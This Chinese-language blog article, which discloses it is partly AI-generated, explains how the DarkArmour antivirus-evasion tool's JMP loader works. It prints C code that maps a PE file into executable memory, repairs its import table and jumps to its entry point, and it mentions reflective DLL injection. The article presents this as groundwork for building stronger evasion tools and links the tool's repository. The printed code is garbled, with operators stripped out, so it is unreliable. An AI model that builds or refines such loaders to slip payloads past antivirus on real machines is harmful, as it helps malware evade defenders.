DarkArmour JMP加载器实现原理：深入理解PE内存映射技术

DarkArmour JMP加载器实现原理深入理解PE内存映射技术【免费下载链接】darkarmourWindows AV Evasion项目地址: https://gitcode.com/gh_mirrors/da/darkarmourDarkArmour是一款专注于Windows平台的反病毒规避工具其核心功能之一就是通过JMP加载器实现PE文件的内存映射与执行。本文将深入解析DarkArmour JMP加载器的实现原理帮助读者理解PE内存映射技术在反病毒规避中的关键作用。PE文件内存映射的基本概念PEPortable Executable文件是Windows平台下的可执行文件格式包括EXE、DLL等类型。传统的PE文件加载方式是通过操作系统的加载器将文件从磁盘读取到内存进行重定位、导入表解析等操作后再执行。而内存映射技术则是将PE文件直接加载到内存中绕过传统的文件系统加载流程从而达到隐藏自身的目的。在DarkArmour项目中JMP加载器的核心实现位于src/jmp_loader/main.c文件中。该文件包含了PE文件内存映射、导入表修复等关键功能的实现代码。DarkArmour JMP加载器的核心实现MapImageToMemory函数PE文件内存映射MapImageToMemory函数是JMP加载器实现PE内存映射的核心函数。其主要流程如下验证PE文件头签名确保输入的是有效的PE文件根据PE文件头信息在内存中分配足够大小的空间将PE文件头和各个节区数据复制到内存中的相应位置关键代码片段如下LPVOID MapImageToMemory(LPVOID base_addr) { LPVOID mem_image_base NULL; PIMAGE_DOS_HEADER raw_image_base (PIMAGE_DOS_HEADER)base_addr; if (IMAGE_DOS_SIGNATURE ! raw_image_base-e_magic) { return NULL; } PIMAGE_NT_HEADERS nt_header (PIMAGE_NT_HEADERS)(raw_image_base-e_lfanew (UINT_PTR)raw_image_base); if (IMAGE_NT_SIGNATURE ! nt_header-Signature) { return NULL; } // 分配内存空间 mem_image_base VirtualAlloc((LPVOID)(nt_header-OptionalHeader.ImageBase), nt_header-OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 复制PE文件头和节区数据 memcpy(mem_image_base, (LPVOID)raw_image_base, nt_header-OptionalHeader.SizeOfHeaders); for (int i 0; i nt_header-FileHeader.NumberOfSections; i) { memcpy((LPVOID)(section_header-VirtualAddress (UINT_PTR)mem_image_base), (LPVOID)(section_header-PointerToRawData (UINT_PTR)raw_image_base), section_header-SizeOfRawData); section_header; } return mem_image_base; }FixImageIAT函数导入表修复当PE文件被映射到内存后还需要修复其导入地址表IAT以便正确解析导入函数。FixImageIAT函数负责这一关键步骤VOID FixImageIAT(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header) { PIMAGE_IMPORT_DESCRIPTOR import_table (PIMAGE_IMPORT_DESCRIPTOR)(nt_header-OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress (UINT_PTR)dos_header); while (import_table-Name) { import_base LoadLibraryA((LPCSTR)(import_table-Name (UINT_PTR)dos_header)); fixup (PIMAGE_THUNK_DATA)(import_table-FirstThunk (UINT_PTR)dos_header); // ... 解析并修复导入函数地址 import_table; } return; }反射式DLL注入技术的应用DarkArmour项目还集成了反射式DLL注入技术这一技术在src/lib/ReflectiveDLLInjection/目录中有完整实现。反射式DLL注入允许在不使用传统LoadLibrary函数的情况下将DLL加载到进程内存中进一步增强了反检测能力。反射式DLL注入的核心是通过解析DLL的导出表找到并调用ReflectiveLoader函数。在src/lib/ReflectiveDLLInjection/dll/ReflectiveDLLInjection.h头文件中定义了相关的数据结构和函数指针typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );JMP加载器的执行流程综合上述各个组件DarkArmour JMP加载器的完整执行流程如下解密PE文件数据代码中留有解密代码插入位置调用MapImageToMemory函数将解密后的PE文件映射到内存调用FixImageIAT函数修复导入地址表获取PE文件的入口点OEP并执行关键代码如下PIMAGE_DOS_HEADER image_base (PIMAGE_DOS_HEADER)MapImageToMemory((LPVOID)decrypted_bytes); if (!image_base) { printf(%s\n, [!] Unable to call PE, likely thats invalid); } PIMAGE_NT_HEADERS nt_header (PIMAGE_NT_HEADERS)(image_base-e_lfanew (UINT_PTR)image_base); FixImageIAT(image_base, nt_header); LPVOID oep (LPVOID)(nt_header-OptionalHeader.AddressOfEntryPoint (UINT_PTR)image_base); ((void(*)())(oep))();总结DarkArmour JMP加载器通过PE内存映射技术和反射式DLL注入技术实现了在内存中直接加载和执行PE文件的功能有效规避了传统反病毒软件的文件检测机制。理解这一技术不仅有助于提高对Windows系统底层运行机制的认识也为开发更高级的反病毒规避工具提供了思路。通过分析src/jmp_loader/main.c和src/lib/ReflectiveDLLInjection/等关键代码文件我们可以深入了解PE内存映射的实现细节和反病毒规避的核心原理。这些技术虽然在安全领域有着特殊应用但也提醒我们要加强对内存威胁的防护意识。【免费下载链接】darkarmourWindows AV Evasion项目地址: https://gitcode.com/gh_mirrors/da/darkarmour创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考